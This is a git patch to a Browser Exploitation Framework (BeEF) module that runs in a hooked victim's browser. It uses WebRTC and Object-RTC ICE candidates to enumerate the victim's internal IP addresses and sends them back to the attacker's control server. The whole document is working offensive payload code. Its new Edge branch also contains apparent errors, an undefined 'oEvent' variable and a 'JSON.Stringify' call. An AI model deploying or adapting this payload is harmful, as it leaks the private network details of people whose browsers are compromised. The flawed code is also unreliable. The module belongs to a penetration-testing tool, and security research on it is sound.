From 992e9235c7aa105f7c80c2835dd3a9e7c5350661 Mon Sep 17 00:00:00 2001 From: SkyLined Date: Tue, 30 May 2017 20:59:40 +0200 Subject: [PATCH] Add ORTC, fix WebRTC bug * Add Object-RTC implementation that should work in Edge 38. * Fix issue where WebRTC implementation could report partial results if there are multiple local IP addresses (e.g. multiple network cars, IPv4 & IPv6, ...). In such cases, the results would be reported for each IP address, where they should only be reported once, after all IP addresses have been enumerated. * All indentation is now 4 spaces. --- .../host/get_internal_ip_webrtc/command.js | 146 +++++++++++------- 1 file changed, 87 insertions(+), 59 deletions(-) diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index f7c7bb6f3..93dbbc404 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -1,5 +1,6 @@ // // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2017 SkyLined - BeEF@skylined.nl // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // @@ -8,71 +9,98 @@ beef.execute(function() { var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; - if (RTCPeerConnection){ + if (window.RTCIceGatherer || RTCPeerConnection){ - var addrs = Object.create(null); - addrs["0.0.0.0"] = false; + var addrs = Object.create(null); + addrs["0.0.0.0"] = false; + + // Prefer RTCIceGatherer of simplicity. + if (window.RTCIceGatherer) { + var iceGatherer = new RTCIceGatherer({ + "gatherPolicy": "all", + "iceServers": [ ], + }); + iceGatherer.onlocalcandidate = function (evt) { + if (oEvent.candidate.type) { + // There may be multiple IP addresses + beef.debug(JSON.Stringify(evt.candidate)); + if (evt.candidate.type == "host") { + // The ones marked "host" are local IP addresses + processIPs(oEvent.candidate.ip); + }; + } else { + retResults(); + }; + }; + iceGatherer.onerror = function (e) { + beef.debug("ICE Gatherer Failed"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error()); + }; + } else { + // Construct RTC peer connection + var servers = {iceServers:[]}; + var mediaConstraints = {optional:[{googIPv6: true}]}; + var rtc = new RTCPeerConnection(servers, mediaConstraints); + rtc.createDataChannel('', {reliable:false}); - // Construct RTC peer connection - var servers = {iceServers:[]}; - var mediaConstraints = {optional:[{googIPv6: true}]}; - var rtc = new RTCPeerConnection(servers, mediaConstraints); - rtc.createDataChannel('', {reliable:false}); + // Upon an ICE candidate being found + // Grep the SDP data for IP address data + rtc.onicecandidate = function (evt) { + if (evt.candidate){ + // There may be multiple local IP addresses + beef.debug("a="+evt.candidate.candidate); + grepSDP("a="+evt.candidate.candidate); + } else { + // No more candidates: return results. + retResults(); + }; + }; - // Upon an ICE candidate being found - // Grep the SDP data for IP address data - rtc.onicecandidate = function (evt) { - if (evt.candidate){ - beef.debug("a="+evt.candidate.candidate); - grepSDP("a="+evt.candidate.candidate); - retResults(); - } - }; + // Create an SDP offer + rtc.createOffer(function (offerDesc) { + grepSDP(offerDesc.sdp); + rtc.setLocalDescription(offerDesc); + retResults(); + }, function (e) { + beef.debug("SDP Offer Failed"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); + }); + }; - // Create an SDP offer - rtc.createOffer(function (offerDesc) { - grepSDP(offerDesc.sdp); - rtc.setLocalDescription(offerDesc); - retResults(); - }, function (e) { - beef.debug("SDP Offer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); - }); + function retResults(){ + var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - function retResults(){ - var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); + // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way + get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; + } - // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way - get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; - } - - // Return results - function processIPs(newAddr) { - if (newAddr in addrs) return; - else addrs[newAddr] = true; - var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - beef.debug("Found IPs: "+ displayAddrs.join(",")); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); - } + // Return results + function processIPs(newAddr) { + if (newAddr in addrs) return; + else addrs[newAddr] = true; + var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); + beef.debug("Found IPs: "+ displayAddrs.join(",")); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); + } - // Retrieve IP addresses from SDP - function grepSDP(sdp) { - var hosts = []; - sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 - if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 - var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 - addr = parts[4], - type = parts[7]; - if (type === 'host') processIPs(addr); - } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 - var parts = line.split(' '), - addr = parts[2]; - processIPs(addr); - } - }); - } - }else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); - } + // Retrieve IP addresses from SDP + function grepSDP(sdp) { + var hosts = []; + sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 + if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 + var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 + addr = parts[4], + type = parts[7]; + if (type === 'host') processIPs(addr); + } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 + var parts = line.split(' '), + addr = parts[2]; + processIPs(addr); + } + }); + } + }else { + beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); + } });